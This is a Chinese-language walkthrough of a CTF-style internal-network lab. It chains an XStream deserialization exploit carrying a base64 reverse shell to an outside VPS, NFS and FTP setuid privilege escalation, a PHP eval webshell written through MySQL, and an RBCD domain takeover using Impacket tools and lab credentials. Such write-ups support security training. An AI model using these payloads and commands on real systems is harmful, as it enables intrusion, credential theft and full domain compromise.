fscan先扫一下ip

image-20231020203451556

存在一个ftp匿名登录

1.txt中没有东西 pom.xml中有一个xstream的低版本漏洞

image-20231020203643428

https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md

在你的vps上开放1099端口,然后用yso起一下服务:

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzMzODkgMD4mMQ}|{base64,-d}|{bash,-i}"

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
POST /just_sumbit_it HTTP/1.1
Host: 39.99.234.228:8080
Content-Length: 3115
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://39.99.234.228:8080
Referer: http://39.99.234.228:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>101.42.39.110</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>101.42.39.110</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

然后监听端口就行

image-20231020203853327

root权限直接拿flag

image-20231020203928761

然后扫内网挂代理

image-20231020204709906

整理信息

1
2
3
4
5
6
7
172.22.13.57   Centos  2049端口  NFS

172.22.13.6 DC XIAORANG\WIN-DC

172.22.13.28 WIN-HAUWOLAO.xiaorang.lab 8000 mysql:172.22.13.28:3306:root 123456 OA系统

172.22.13.14 getshell主机 拿下

这个NFS是关键 文件共享用的一个服务 默认端口2049

NFS 提权, 参考文章: https://xz.aliyun.com/t/11664

大致就是 NFS 配置不当导致文件权限也能被共享过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//因为本身ubuntu是不存在showmount这个工具的  所以我们得下载 但是下载源不对  所以我们要进行更改
sudo sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
sudo apt-get update
apt-get install nfs-common -y

-----------------------------------------------------------------------------------------

showmount -e 172.22.13.57 //查看哪些路径下的文件可以被共享
Export list for 172.22.13.57:
/home/joyce *

mount -t nfs 172.22.13.57:/home/joyce /tmp/joyce -o nolock

//进行挂载 我们就可以访问/home/joyce下的文件了

这里的话我们使用写ssh公钥的方式进行登录

1
2
3
4
5
ssh-keygen -t rsa -b 4096
mkdir .ssh
cat /root/.ssh/id_rsa.pub >> /tmp/joyce/.ssh/authorized_keys
python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh -i /root/.ssh/id_rsa joyce@172.22.13.57

image-20231020205738859

虽然flag在根目录下 但是我们并没有权限去读取他 这里的话有两个方法可以进行提权操作

  • NFS提权

这里能够提权的原因是 创建的文件共享过去的时候连着权限也一起传过去了

1
2
3
4
5
6
7
echo '#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("bash");
}' > pwn.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
root@ubuntu:/tmp/joyce# echo '#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("bash");
}echo '#include<unistd.h>
> void main()
> {
> setuid(0);
> setgid(0);
> system("bash");
> ' > pwn.c
}' > pwn.c
root@ubuntu:/tmp/joyce# dir
dir
pwn.c
root@ubuntu:/tmp/joyce# ls
ls
pwn.c
root@ubuntu:/tmp/joyce# cat pwn.c
cat pwn.c
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("bash");
}
root@ubuntu:/tmp/joyce# chmod -s pwn.c
chmod -s pwn.c
root@ubuntu:/tmp/joyce# gcc pwn.c -o pwn
gcc pwn.c -o pwn
pwn.c: In function ‘main’:
pwn.c:6:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
6 | system("bash");
| ^~~~~~
root@ubuntu:/tmp/joyce# ls
ls
pwn pwn.c
root@ubuntu:/tmp/joyce# gcc pwn.c -o pwn;;;
gcc pwn.c -o pwn;;;
bash: syntax error near unexpected token `;;'
root@ubuntu:/tmp/joyce# chmod +s pwn
chmod +s pwn
root@ubuntu:/tmp/joyce# ls -al
ls -al
total 52
drwx------ 3 996 994 4096 Oct 20 21:03 .
drwxrwxrwt 6 root root 4096 Oct 20 21:03 ..
-rw------- 1 996 994 51 Oct 20 21:00 .bash_history
-rw-r--r-- 1 996 994 18 Nov 25 2021 .bash_logout
-rw-r--r-- 1 996 994 193 Nov 25 2021 .bash_profile
-rw-r--r-- 1 996 994 231 Nov 25 2021 .bashrc
drwxr-xr-x 2 root root 4096 Oct 20 20:57 .ssh
-rwsr-sr-x 1 root root 16784 Oct 20 21:03 pwn
-rw-r--r-- 1 root root 97 Oct 20 21:02 pwn.c

这里创建好之后

ssh登录到刚刚的主机上

image-20231020212222420

执行之后就拿下flag了

image-20231020212242659

  • 这里讲第二种提权方式 就是ftp提权

image-20231020212537916

如果用原来的ftp的话是不行的 这里的话我们重新新建一个ftp 新建的话是有suid的

1
python3 -m pyftpdlib -p 6666 -u test -P test -w &

然后连接上去

1
2
ftp 172.22.13.14 6666
put /flag02.txt

image-20231020213622125

然后在Ubuntu的那个主机上再次连接然后get下载下来读取就行了

image-20231020213732504

然后一样的方法读取centos机器的目录下还有一个pAss.txt文件

1
2
3
xiaorang.lab/zhangwen\ QT62f3gBhK1

//给了一个账号密码

这就是两种不同的提权方法

NFS是利用这个共享文件时权限也会共享过去

ftp是利用了suid这个权限

接下来直接搭建隧道

这里拿下第二个flag之后 回看之前的信息收集 发现了一个弱口令的mysql

于是我们使用navicat来连接 mdut的话是udf提权失败

image-20231020214335122

发现是任意路径可写 并且是以phpstudy启动的 于是直接写马

1
select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";

然后蚁剑连接

image-20231020214523510

因为是phpstudy启动的 权限高 所以可以直接读取

image-20231020214607268

这个是我们刚刚获取到的用户名了 我们直接rdp上去运行sharphound.exe来看一下域内环境

(当然了 蚁剑上传文件查看也是可以的)

image-20231020214935835

发现域中的chenglei用户是对这个域控有wirte写的权限 并且还是属于ACL admins组的

那么可以直接写 DCSync / RBCD / Shadow Credentials

这里测试了Shadow Credentials失败 不知道为啥…………………………………..

因为之前是用过了DCSync了 这次我们就用RBCD来打

addcomputer

1
proxychains addcomputer.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'

rbcd

1
proxychains rbcd.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'TEST$'

getst

1
proxychains getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/WIN-DC.xiaorang.lab -impersonate Administrator -dc-ip 172.22.13.6

获取到这个ccache文件后

1
2
3
4
5
6
export KRB5CCNAME=Administrator.ccache

然后修改/etc/hosts
172.22.13.6 WIN-DC.xiaorang.lab
加进去就行

然后使用psexec.py无密码登录

1
proxychains python3 psexec.py Administrator@WIN-DC.xiaorang.lab -k -no-pass -dc-ip 172.22.13.6

image-20231020215515800

然后拿下最后一个flag